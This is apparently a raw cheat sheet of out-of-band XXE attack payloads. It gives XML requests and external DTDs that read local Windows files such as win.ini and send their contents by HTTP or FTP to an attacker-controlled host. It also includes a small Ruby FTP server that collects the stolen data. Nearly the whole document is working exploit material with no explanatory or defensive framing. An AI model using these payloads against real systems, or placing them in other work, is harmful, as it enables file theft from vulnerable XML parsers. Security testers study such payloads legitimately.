<?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://ip/111.dtd">
111.dtd:
<!ENTITY % payload SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://fakeuser:fakepass@ip/%payload;'>"> %int; %trick;
-----------------------
request:
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/1.txt"> <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml"> %remote; %all; %send; ]>
evil.xml:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>"> <!ENTITY % all "<!ENTITY % send SYSTEM 'ftp://ip:8089/%file;'>">
----------------------- request:
<?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://ip/111.dtd">
111.dtd
<!ENTITY % payload SYSTEM "file:///c:/Windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://ip:8089/%payload;'>"> %int; %trick;
require 'socket' server = TCPServer.new 2121 loop do Thread.start(server.accept) do |client| puts "New client connected" data = "" client.puts("220 xxe-ftp-server") loop { req = client.gets() puts "< "+req if req.include? "USER" client.puts("331 password please - version check") else #puts "> 230 more data please!" client.puts("230 more data please!") end } end end